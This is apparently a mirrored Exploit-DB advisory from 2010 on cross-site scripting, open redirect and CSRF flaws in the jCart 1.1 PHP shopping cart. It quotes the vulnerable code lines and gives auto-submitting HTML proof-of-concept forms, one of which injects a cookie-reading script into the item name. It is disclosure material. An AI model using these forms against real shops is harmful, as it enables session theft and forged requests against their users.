jCart 1.1 – Multiple Cross-Site Scripting / Cross-Site Request Forgery/Open Redirect Vulnerabilities - 体验盒子

作者： p0deje

日期： 2010-10-01

类别：

webapps

平台：

php

来源：https://www.exploit-db.com/exploits/15171/

<!-- 
 Exploit Title: jCart v1.1 Multiple XSS/CSRF/Open Redirect Vulnerabilities
 Date: 25.07.2010
 Author: p0deje
 Software Link: http://conceptlogic.com/jcart/
 Version: <=1.1
 Tested on: OS Independent
 CVE : --
-->

<!-- 1. Cross-site Scripting -->

<!--
Vulnerable code snippet:
jcart.php
-------------------------
line 251:$item_name = $_POST[$item_name];
...
line 256:$item_added = $this->add_item($item_id, $item_qty, $item_price, $item_name);
-------------------------

User-supplied input for variable $item_name isn't properly escaped.

Proof-of-Concept:
-->
<html>
<form action="http://evil.host/jcart-1.1/jcart/jcart-relay.php" method="POST">
<input name="my-item-id" value="3" type="hidden">
<input name="my-item-qty" value="1" type="hidden">
<input name="my-item-name" value="<script>alert(document.cookie)</script>" type="hidden">
<input name="my-item-price" value="33.25" type="hidden">
<input id="payload" name="my-add-button" value="add to cart" class="button" type="submit">
</form>
<script>
document.getElementById('payload').click()
</script>
</html>

<!--2. Cross-site Scripting / Open Redirect -->

<!--
Vulnerable code snippet 
jcart-gateway.php:
-------------------------
line 41:header('Location: ' . $_POST['jcart_checkout_page']);
-------------------------

User-supplied data is not properly escaped before passing to header() function.

Proof-of-Concept:
-->
<html>
<form action="http://evil.host/jcart-1.1/jcart/jcart-gateway.php" method="POST">
<input name="jcart_checkout_page" value="http://www.google.com" type="hidden">
<input id="payload" name="my-add-button" value="add to cart" class="button" type="submit">
</form>
<script>
document.getElementById('payload').click()
</script>
</html>

<!--3. Cross-site Request Forgery -->

<!--
All requests of jCart are vulnerable to CSRF.
Proof-of-Concept goes the same as for the first or the second vulnerability.
-->